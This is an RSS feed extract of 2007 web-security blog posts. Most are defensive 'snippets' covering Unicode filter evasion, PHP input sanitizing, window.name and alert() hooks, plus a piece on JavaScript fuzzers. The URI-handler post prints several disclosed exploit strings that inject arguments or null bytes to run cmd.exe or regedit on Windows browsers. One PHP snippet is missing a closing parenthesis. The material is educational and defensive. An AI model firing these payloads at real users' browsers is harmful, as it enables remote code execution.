		<description><![CDATA[This article is part of a series of posts about small and easy to understand code fragments you can use on your site for protection against certain kinds of attacks. Also this series is targeted to help you understand better what tricks are used by attackers to break into your site and how to avert them. If you have a Snippet of defense yourself and you want to share it, feel free to contact us. Self-defense with a walking-stick. [...]]]></description>
			<content:encoded><![CDATA[<p>This article is part of a series of posts about small and easy to understand code fragments you can use on your site for protection against certain kinds of attacks. Also this series is targeted to help you understand better what tricks are used by attackers to break into your site and how to avert them. If you have a Snippet of defense yourself and you want to share it, feel free to <a href="http://www.gnucitizen.org/contact">contact us</a>. Self-defense with a walking-stick.</p>

<h3>The snippet &#8211; mysterious characters from the Unicode world</h3>

<p>Most of our readers know to one degree or another about character sets, UTF and Unicode, but what some of you don&#8217;t know is the fact that there are several characters that can really harm you online estate and slip through most, if not all, filters. Those are to be categorized into two groups &#8211; the numerous variation of <a href="http://www.cs.tut.fi/~jkorpela/chars/spaces.html">Unicode whitespace</a> characters and the characters that change the direction of the displayed text (<a href="http://en.wikipedia.org/wiki/Left_to_right">LTR, RTL</a>). While doing some JavaScript research I&#8217;ve created a loop to check what characters can be put in between arbitrary method calls, without stopping the method from executing. Just like that:</p>

<pre><code>win<strong>[unicode]</strong>dow.ale<strong>[unicode]</strong>rt<strong>[unicode]</strong>(1);</code></pre>

<p>I used several loops to determine the existence and the exact place in the Unicode table of those characters &#8211; tested in <a href="https://addons.mozilla.org/de/firefox/addon/1843">Firebug</a>:</p>

<pre><code>&#x76;&#x61;&#x72;&#x20;&#x69;&#x20;&#x3d;&#x30;&#x3b;&#x0a;&#x76;&#x61;&#x72;&#x20;&#x6a;&#x20;&#x3d;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x2e;&#x66;&#x72;&#x6f;&#x6d;&#x43;&#x68;&#x61;&#x72;&#x43;&#x6f;&#x64;&#x65;&#x0a;&#x77;&#x68;&#x69;&#x6c;&#x65;&#x28;&#x69;&#x20;&#x3c;&#x20;&#x36;&#x35;&#x35;&#x33;&#x36;&#x29;&#x20;&#x7b;&#x74;&#x72;&#x79;&#x7b;&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;&#x63;&#x6f;&#x6e;&#x27;&#x2b;&#x6a;&#x28;&#x69;&#x29;&#x2b;&#x27;&#x73;&#x6f;&#x6c;&#x65;&#x2e;&#x6c;&#x6f;&#x67;&#x28;&#x22;&#x26;&#x23;&#x27;&#x2b;&#x69;&#x2b;&#x27;&#x20;&#x27;&#x2b;&#x6a;&#x28;&#x69;&#x29;&#x2b;&#x27;&#x22;&#x29;&#x27;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x28;&#x65;&#x29;&#x20;&#x7b;&#x7d;&#x69;&#x2b;&#x2b;&#x7d;</code></pre>

<p>The result was surprising &#8211; as you can see yourself, there is a whole bunch of characters that can be placed right between method and property names. So, I tried those characters with the <a href="http://demo.php-ids.org/">PHPIDS Demo</a> and boom &#8211; the filter rules were evaded with ease. So I began crafting a solution for this problem and I came up with the following:</p>

<pre><code>$value = rawurldecode(preg_replace('/(?:%E(?:2|3)%8(?:0|1)%(?:A|8|9)\w|%EF%BB%BF)/i', ' ', rawurlencode($value)));</code></pre>

<p>You can use this code in your PHP application to make sure any of those pretty dangerous characters will be transformed into a regular space. Feel free to try on your application what characters like <strong>&amp;#8238</strong> and others can do to your site &#8211; this is the kind of defense measurement you don&#8217;t want to miss.</p>

<p><strong>&#8238;Or just take a look at this line of text ;)</strong></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/snippets-of-defense-ptiv/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Snippets of defense Pt.III</title>
		<link>http://www.gnucitizen.org/blog/snippets-of-defense-ptiii/</link>
		<comments>http://www.gnucitizen.org/blog/snippets-of-defense-ptiii/#comments</comments>
		<pubDate>Sat, 20 Oct 2007 08:47:10 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/snippets-of-defense-ptiii</guid>
		<description><![CDATA[This article is part of a series of posts about small and easy to understand code fragments you can use on your site for protection against certain kinds of attacks. Also this series is targeted to help you understand better what tricks are used by attackers to break into your site and how to avert them. If you have a Snippet of defense yourself and you want to share it, feel free to contact us. Self-defense with a Walking-stick. [...]]]></description>
			<content:encoded><![CDATA[<p>This article is part of a series of posts about small and easy to understand code fragments you can use on your site for protection against certain kinds of attacks. Also this series is targeted to help you understand better what tricks are used by attackers to break into your site and how to avert them. If you have a Snippet of defense yourself and you want to share it, feel free to <a href="http://www.gnucitizen.org/contact">contact us</a>. Self-defense with a Walking-stick.</p>

<h3>The snippet &#8211; sanitize your input recursively</h3>

<p>This time we are going to show a PHP snippet which you can use to filter your input recursively &#8211; working for PHP4 and PHP5 and being pretty copy&amp;paste ready. Furthermore, the snippet shows how you can defeat XSS on your application without being too aggressive and not forbidding the user to use certain characters. Several large applications use this method or similar ones &#8211; although, of course, it is not suitable for all platform out there.</p>

<p>You can use this snippet to secure existing applications by embedding it via <a href="http://php.net/manual/en/ini.core.php">auto_prepend_file</a> or using it at a centralized position in your application&#8217;s index.php. It doesn&#8217;t rely on any external software or extensions so it should be running fine on most PHP environments without any problems. And of course don&#8217;t use it sightlessly &#8211; but that goes for all snippets of this series.</p>

<pre><code>&lt;?php
    /**
     * Initial filter method
     *
     * @param array $to_filter
     * @return array
     */
    function filter($to_filter) {
        if (!empty($to_filter)) {
        	foreach ($to_filter as $key =&gt; $value) {
            	$filtered[$key] = iterate($key, $value);
            }
        }
        return $filtered;
    }

    /**
     * Iterates recursively of the array to 
     * be filtered
     *
     * @param string $key
     * @param string $value
     * @return mixed
     */
    function iterate($key, $value) {
    	if (!is_array($value)) {
            if (is_string($value)) {
                $filtered[$key] = sanitize($value);    
            }
        } else {
            foreach ($value as $subKey =&gt; $subValue) {
                $filtered[$key][$subKey] = sanitize($subValue);
            }
        }
        return $filtered[$key];
    }
    
    /**
     * The sanitization method
     *
     * @param string $string
     * @return string
     */
    function sanitize($string) {
    	
    	$search = array('"', "'");
    	$replace = array('â€', 'â€™'); // &rdquo; and &rsquo; are used here
    	
    	/**
    	 * Remind that the replacement is just one way of many.
    	 * You can also use html_special_chars() or htmlentities() - but 
    	 * don't forget the third parameter :)
    	 */
    	return strip_tags(str_replace($search, $replace, $string)
    }

    /**
     * overwrite the original request array with the filtered one
     */
    $_REQUEST = filter($_REQUEST);
?&gt;</code></pre>

<p><em>We hope that you enjoy the trick  &#8211; please tell us what you think. Till the next time.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/snippets-of-defense-ptiii/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Snippets of defense Pt.II</title>
		<link>http://www.gnucitizen.org/blog/snippets-of-defense-ptii/</link>
		<comments>http://www.gnucitizen.org/blog/snippets-of-defense-ptii/#comments</comments>
		<pubDate>Sat, 13 Oct 2007 07:29:41 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/snippets-of-defense-ptii</guid>
		<description><![CDATA[This article is part of a series of posts about small and easy to understand code fragments you can use on your site for protection against certain kinds of attacks. Also this series is targeted to help you understand better what tricks are used by attackers to break into your site and how to avert them. If you have a Snippet of defense yourself and you want to share it, feel free to contact us. [...]]]></description>
			<content:encoded><![CDATA[<p>This article is part of a series of posts about small and easy to understand code fragments you can use on your site for protection against certain kinds of attacks. Also this series is targeted to help you understand better what tricks are used by attackers to break into your site and how to avert them. If you have a Snippet of defense yourself and you want to share it, feel free to <a href="http://www.gnucitizen.org/contact">contact us</a>.</p>

<h3>The snippet &#8211; reset window.name</h3>

<p>The <a href="http://developer.mozilla.org/en/docs/DOM:window.name">window.name</a> property is often used for complex XSS attacks because you can fill it with payload on one site and read the contents on another site. Sounds weird? It is! Try setting this property on an arbitrary site with Firebug or something similar, navigate to another site and run <code>alert(name)</code> &#8211; you should see the exact text you entered. Since you can also evaluate the contents of name an attacker can load kilobytes of payload into this property, redirect and execute it with <code>eval(name)</code> on the victims site &#8211; shortest XSS vector ever.</p>

<p>The more sophisticated the attack method is, the easier it it to protect from. In this case, we just need to overwrite <code>window.name</code> in the header of you applications markup like this &#8211; don&#8217;t forget to encapsulate the code in script tags:</p>

<pre><code>window.name = false;</code></pre>

<p><em>I hope that you enjoy the trick. Till the next time.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/snippets-of-defense-ptii/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Snippets of defense Pt.I</title>
		<link>http://www.gnucitizen.org/blog/snippets-of-defense-pti/</link>
		<comments>http://www.gnucitizen.org/blog/snippets-of-defense-pti/#comments</comments>
		<pubDate>Sun, 07 Oct 2007 12:17:48 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/snippets-of-defense-pti</guid>
		<description><![CDATA[This article is the start of a series of posts about small and easy to understand code fragments you can use on your site for protection against certain kinds of attacks. Also this series is targeted to help you understand better what tricks are used by attackers to break your site and how to avert this. If you have a Snippet of defense yourself and want to share it feel free to contact us. [...]]]></description>
			<content:encoded><![CDATA[<p>This article is the start of a series of posts about small and easy to understand code fragments you can use on your site for protection against certain kinds of attacks. Also this series is targeted to help you understand better what tricks are used by attackers to break your site and how to avert this. If you have a Snippet of defense yourself and want to share it feel free to <a href="http://www.gnucitizen.org/contact">contact us</a>.</p>

<h3>The first snippet &#8211; overwrite alert() wit a logger</h3>

<p>The JavaScript method <a href="http://developer.mozilla.org/en/docs/DOM:window.alert">alert()</a> is mostly used for debugging purposes and very rarely found in live applications. Attackers though very often use this method for initial probing for XSS vulnerabilities on websites and web applications. Most PoCs found in <a href="http://sla.ckers.org/forum/read.php?3,44">forums</a> and newsgroups make use of this method and meanwhile you can even find tons of links including alert()-based PoCs via <a href="http://www.google.com/search?q=inurl%3Aalert%28%22xss%22%29">Google</a>.</p>

<p>So combining those facts puts up the question why not overwrite the <code>alert()</code> method with a method that logs the request &#8211; which probably was fired by an attacker. First, we know that the attacker managed to inject JavaScript on our page because the modified alert() method has been executed. And second you logger script will tell you all you need to know about the malicious request. So here we go &#8211; place this code in between script tags inside your application&#8217;s header or add it inside your application&#8217;s JavaScript files:</p>

<pre><code>var old_alert = alert;
alert = function(a) {
    var img = new Image();
    img.src = 'http://the/uri/to/your/logger/file';
    img.style.height = 0;
    img.style.width = 0;
    document.body.appendChild(img);
    old_alert(a);    
    return false;
}</code></pre>

<p><em>Till the next time.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/snippets-of-defense-pti/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Constructive Chaos</title>
		<link>http://www.gnucitizen.org/blog/constructive-chaos/</link>
		<comments>http://www.gnucitizen.org/blog/constructive-chaos/#comments</comments>
		<pubDate>Tue, 07 Aug 2007 22:09:52 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/constructive-chaos</guid>
		<description><![CDATA[Recently several interesting tools were released to cover one special aspect of fuzz testing in web application security &#8211; JavaScript fuzzing. Mozilla has released their fuzzer called JSFunFuzz and Gareth Heyes has released a tool called JavaScript Fuzzer 2.1. Both of them have more or less similar purpose although, they use different methods for reaching their targets.

Chaotic fuzzing

The Mozilla fuzzer or JSFunFuzz has been around for some time now. [...]]]></description>
			<content:encoded><![CDATA[<blockquote>Fuzz testing or fuzzing is a software testing technique that provides random data (&#8220;fuzz&#8221;) to the inputs of a program. If the program fails (for example, by crashing, or by failing built-in code assertions), the defects can be noted. <a href="http://en.wikipedia.org/wiki/Fuzz_testing">Wikipedia</a></blockquote>

<p>Recently several interesting tools were released to cover one special aspect of fuzz testing in web application security &#8211; JavaScript fuzzing. Mozilla has released their fuzzer called <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=jsfunfuzz">JSFunFuzz</a> and <a href="http://thespanner.co.uk/">Gareth Heyes</a> has released a tool called <a href="http://www.businessinfo.co.uk/labs/jsfuzz/fuzz.php">JavaScript Fuzzer 2.1</a>. Both of them have more or less similar purpose although, they use different methods for reaching their targets.</p>

<h3>Chaotic fuzzing</h3>

<p>The Mozilla fuzzer or JSFunFuzz has been around for some time now. The tool was first announced in a ticket published in late August 2006. It&#8217;s purpose is to use a large base of JavaScript language constructs concatenated together, no matter if the represent valid code or not. Today, this project is probably the main way for testing how the Rhino and SpiderMonkey JavaScript engines react on weird or even faulty code. The obtained results were used to optimize both script engines stability. JSFunFuzz even helped to <a href="http://my.opera.com/desktopteam/blog/2007/08/03/fun-with-the-fuzzer">identify several problems</a> in the Opera JS engine. A handful of them were security relevant and the Opera team already have announced that fixes should be expected soon.</p>

<p>The files attached to the JSFunFuzz tickets that announced the project, also provides implementation for in-browser fuzzing although it seams to be neither funny nor very useful. Most of the time, the CPU load is around 100% and the user gets some low frequently updated text output which spits out info about the concatenated strings and the debug output they provoked. Nevertheless some people already implemented solutions similar to this one. Do you remember that CPU load will probably rise sky high if you click this <a href="http://download.remcol.ath.cx/jstest.html">link</a>?</p>

<p>The question is how to use the JSFunFuzz fuzzer at home. Quite easy, I must say. Just grab a copy of the <a href="ftp://ftp.mozilla.org/pub/mozilla.org/js/rhino1_6R6.zip">Rhino</a> engine from Mozilla. Install a <a href="http://java.com/en/">JRE</a> if you do not have one yet, and use your console to instantiate Rhino. Something like the following should do the job: </p>

<pre><code>java -jar /path/to/js.jar</code></pre>

<p>After that a JavaScript console should appear replacing the usual command line. If you attach <a href="https://bugzilla.mozilla.org/attachment.cgi?id=240710">jsparsefuzz.js</a> to the above command you should immediately see dozens to hundreds of JavaScript snippets racing upwards the command line. If you want to make real good usage of the tool you may need have to pipe the output through some regular expressions, save the results in a file and give the script some time to finish. After a while you should have a very large collections of code fragments you can test in your application filters or you may want to use them for other purposes.</p>

<pre><code>java -jar /path/to/js.jar /path/to/jsparsefuzz.js </code></pre>

<h3>Structured fuzzing</h3>

<p>Gareth Heyes fuzzer has taken a slightly different path. He provides a handy in-browser fuzzer and enables the user to predefine many parameters of the fuzzing process before usage. You can predefine tags and attributes to fuzz as well as quote types, text case and many other useful things. What makes this tool really useful is the obvious but worth to mention fact that you can use it in any browser. This enables you to hunt for special markup related browser peculiarities when coming to interpret JavaScript via event handlers, attributes, etc. The tool has already found some pretty weird combinations of attributes and special chars. According to emails we exchanged with Gareth recently, the tool will soon feature a database which provides already found vectors. That will make the tool more powerful and useful and will exponentially grow if more people start using it. Also there are plans to publish the fuzzer as an open source project &#8211; combined with a public database like <a href="http://dabbledb.com/">DabbleDB</a> which we already use for the almighty <a href="http://www.gnucitizen.org/xssdb/application.htm">xssDB</a>. This, we believe may become a very valuable source for security testers.</p>

<h3>Conclusion</h3>

<p>Both fuzzers are potentially quite useful and will definitely increase the security of future web applications and browser technologies. JavaScript fuzzers may also help with preventing certain XSS vectors. They make a huge change when securing a particular project or implementation. Furthermore, By reading posts like <a href="http://sirdarckcat.blogspot.com/2007/08/javascript-is-just-evil-for-you-part-i.html">SirDarckCat&#8217;s astonishing research reports</a>, it makes clear that many of use haven&#8217;t had the chance to realize what JavaScript is capable of &#8211; what do you think?</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/constructive-chaos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>U R Insecure &#8211; how URI exploits are changing the webappsec landscape</title>
		<link>http://www.gnucitizen.org/blog/u-r-insecure-how-uri-exploits-are-changing-the-webappsec-landscape/</link>
		<comments>http://www.gnucitizen.org/blog/u-r-insecure-how-uri-exploits-are-changing-the-webappsec-landscape/#comments</comments>
		<pubDate>Fri, 27 Jul 2007 14:59:53 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[uri]]></category>
		<category><![CDATA[url]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/u-r-insecure-how-uri-exploits-are-changing-the-webappsec-landscape</guid>
		<description><![CDATA[This article is about the recent activities and research that have been undertaken around the area of uri handler implementations in modern browsers. It is also about the tremendous security problems that were discovered as a result of that. And it is also about the ways application developers can protect their users from the raising threat.

Once upon a time&#8230;

Browsers have URI handling features for quite some time now. [...]]]></description>
			<content:encoded><![CDATA[<p>This article is about the recent activities and research that have been undertaken around the area of <a href="http://en.wikipedia.org/wiki/URI">uri handler</a> implementations in modern browsers. It is also about the tremendous security problems that were discovered as a result of that. And it is also about the ways application developers can protect their users from the raising threat.</p>

<h3>Once upon a time&#8230;</h3>

<p>Browsers have URI handling features for quite some time now. They are pretty neat and enable the developer to pass application commands through the browsers sandbox to tools and software installed on the users&#8217; computer. It creates a bridge between the 
Internet and our local application repository and enables handy things like skypeing a person directly from a website, sending torrent links directly to the registered application and much more. Among the URI handlers you can find real oldies like gopher, telnet and news as well as the cool things like <a href="http://www.azureuswiki.com/index.php/Magnet_link">magnet</a>, <a href="http://www.joost.com/">joost</a> and <a href="http://www.apple.com/itunes/store/podcasts.html">itpc</a>. Internet Explorer 7 utilizes the res handler to locate resource &#8211; for example the blue info icon on the 404 pages. Last but not least, we all know the <a href="http://en.wikipedia.org/wiki/Data:_URI_scheme">data URI</a> which allows us to use an arbitrary data stream &#8211; in base64 or an any variant of <a href="http://en.wikipedia.org/wiki/Unicode">UTF</a> &#8211; parametrize it with a MIME type and pump it directly to the browser via the address bar.</p>

<p>Then people found out how to misuse those URI handlers &#8211; <a href="http://www.xs-sniper.com/nmcfeters/Data-Phishing.html">crafted exploits and phishing kits</a> &#8211;  there was a boost of small file scanners and cleverly crafted buffer overflows popping out everywhere. But the last couple of weeks were quite extraordinary. Security researches, including <a href="http://xs-sniper.com/blog/about/">Billy Rios</a>, <a href="http://xs-sniper.com/blog/about-nate/">Nate McFeters</a> and <a href="http://larholm.com/">Thor Larholm</a>, found out various ways to exploit the URI handlers, unleashing the possibilities of danger. They discovered that many browser implementations don&#8217;t properly sanitize the data passed via the URIs. With quotes and null bytes it&#8217;s possible to circumvent the browsers&#8217; ability to handle the incoming data and slip out of the sandbox. The results? &#8211; exploits which actually enable an attacker to access the local file system of the victim.</p>

<h3>It&#8217;s just an exploit, mom</h3>

<p>The vectors they figured out are pretty manifold &#8211; and when watching the list of supported URI handlers for Firefox alone, one might understand pretty quickly that there are almost no limits when exploiting these issues. Bellow you can find a few examples of recently disclosed vulnerabilities which are all able to trigger code execution on the victims system, for as long as the victim is using a win32 based operating system:</p>

<pre><code>firefoxurl:test|"%20-new-window%20javascript:alert('Cross%2520Browser%2520Scripting!');"</code></pre>

<pre><code>snews:%00%00../../../../../../../../windows/regedit.exe " - "../random/file/to/create/some/fun" %00.bat</code></pre>

<pre><code>res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210</code></pre>

<pre><code>navigatorurl:test"%20-chrome%20"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)</code></pre>

<p>As you can see it&#8217;s not only possible to enumerate the clients file system or to just execute some harmless programs on the victims&#8217; machine &#8211; it&#8217;s also possible to parametrize the calls. This is dangerous. Moreover, the malicious event will occur remotely as soon as the user clicks a malicious link (firing the link via JavaScript is also possible). But wait a second. Let&#8217;s make some connections. There was this XSS thing &#8211; injecting malicious content into other peoples&#8217; websites. The XSS thing where lot&#8217;s of people said that it&#8217;s not really an issue. The thing that even people like David Heinemeier Hansson ask me why there&#8217;s a problem if one is able to create an alert in an important part of one of his applications. Problem? I think so!</p>

<h3>Q&amp;A from the researchers</h3>

<p>Here&#8217;s some <a href="http://www.gnucitizen.org/blog/interview-with-xs-snipers">Q&amp;A</a> from some of the researchers of the URI exploit issues I recently had a phone conference with &#8211; thanks for the time and the quality talk, Billy and Nate.</p>

<h3>Please don&#8217;t make it happen!</h3>

<p>Tests have shown that these exploits work perfectly well in combination with iframes and javascript redirections &#8211; it would have been a miracle if not.</p>

<div class="message">So anyone who is able to use these exploits, make them do the stuff he/she wants them to do and knows a website with persistent XSS on it, is able to create a really dangerous threat to all the attacked websites&#8217; visitors and beyond.</div>

<p>We&#8217;re talking about <strong>remoting</strong> the clients, shutting down computers, networks, formatting disks &#8211; yes, formatting the disk and so on. What about XSS worms? With the available possibilities it is possible to create XSS worms that really wreck up the clients&#8217; system &#8211; after stealing cookies and infecting every account. And do not forget that there are a bunch of ways to obfuscate the payload to make it even harder for IDS systems and filters to detect and sanitize those attacks.</p>

<h3>So &#8211; how can we protect ourselves?</h3>

<p>Pretty difficult to find an answer on this question without leaving someone out. Users have only a few options to chose from. First of all, it is recommended that you always use the most current version of your favorite web browser. Do not ignore patch updates &#8211; never &#8211; even if it hurts to use automatic updates. Furthermore <a href="http://maone.net/">Giorgio Maone</a> is optimizing his <a href="http://noscript.net/">Firefox extension NoScript</a> to detect and block those kinds of attack &#8211; this tool has been and is definitely worth to be tried out. I can only repeat what thousands of other said before me &#8211; don&#8217;t follow untrusted links, don&#8217;t visit untrusted websites, don&#8217;t open un-demanded attachments and you better think twice before clicking on a dialog to move it away, especially when it&#8217;s your browser telling you to let it update itself.</p>

<p>But what&#8217;s even more important &#8211; what can developers do to protect the users on their websites? I must say that you shouldn&#8217;t allow XSS under any circumstance. Filter your input, filter your output and don&#8217;t ever allow the user to break the markup. Second &#8211; be damn careful when it comes to allowing the user to post links. Make sure that the URLs can only be entered in correct format. At least make sure the URL is prefixed with http(s):// &#8211; this is weak protection, I know, but it is better then no protection at all. Alternatively you can follow any user supplied link including redirects and check for availability and the sources after the last redirect. Not a perfect protection  &#8211; I know &#8211; but a little bit better. Another tear of security can be created with using the <a href="http://php-ids.org/">PHPIDS</a> &#8211; I don&#8217;t want to self promote but the system is capable of detecting the exploits with pretty high impact and our team is closely working together with Billy and Nate so we are able to keep the detection rules pretty up to date to maximize the protection.</p>

<h3>Conclusion</h3>

<p>Without wanting to peddle FUD I hope that you understand that these issues are really dangerous. Most of the stuff, except the excellent research of Billy, Nate and Thor, is not really new. It&#8217;s important to know what is possible and it is important to see that attack techniques like CSRF and XSS gain tremendous potential damage when mixed with these URI exploits. What do you think?</p>

<h3>Resources</h3>

<ul>
<li><a href="http://larholm.com/2007/07/10/internet-explorer-0day-exploit/">http://larholm.com/2007/07/10/internet-explorer-0day-exploit/</a></li>
<li><a href="https://bugzilla.mozilla.org/attachment.cgi?id=273560&amp;action=edit">https://bugzilla.mozilla.org/attachment.cgi?id=273560&amp;action=edit</a></li>
<li><a href="http://www.xs-sniper.com/nmcfeters/URI_Use_and_Abuse.pdf">http://www.xs-sniper.com/nmcfeters/URI_Use_and_Abuse.pdf</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=389580">https://bugzilla.mozilla.org/show_bug.cgi?id=389580</a></li>
<li><a href="http://ha.ckers.org/blog/20070721/res-protocol-local-file-enumeration/">http://ha.ckers.org/blog/20070721/res-protocol-local-file-enumeration/</a></li>
<li><a href="http://sla.ckers.org/forum/list.php?3">http://sla.ckers.org/forum/list.php?3</a></li>
<li><a href="http://noscript.net/">http://noscript.net/</a></li>
</ul><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/u-r-insecure-how-uri-exploits-are-changing-the-webappsec-landscape/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Interview with XS-Snipers</title>
		<link>http://www.gnucitizen.org/blog/interview-with-xs-snipers/</link>
		<comments>http://www.gnucitizen.org/blog/interview-with-xs-snipers/#comments</comments>
		<pubDate>Fri, 27 Jul 2007 14:59:24 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[interview]]></category>
		<category><![CDATA[uri]]></category>
		<category><![CDATA[xss-snipers]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/interview-with-xs-snipers</guid>
		<description><![CDATA[Q: How did you discover the potential of URI handler research?

Billy was eating a peanut butter and jelly sandwich and a big glob of peanut butter fell on the keyboard and typed res:// and pushed enter into his IE window. No, seriously, Rios discovered some interesting stuff with the res:// URI, shortly there after I discovered some articles around the ms-its:// URI and figured this may be an avenue of attack. [...]]]></description>
			<content:encoded><![CDATA[<blockquote>Here&#8217;s some Q&amp;A from some of the researchers of the <a href="http://www.gnucitizen.org/blog/u-r-insecure-how-URI-exploits-are-changing-the-webappsec-landscape">exploit issues</a> I recently had a phone conference with &#8211; thanks for the time and the quality talk, Billy and Nate.</blockquote>

<h3>Q: How did you discover the potential of URI handler research?</h3>

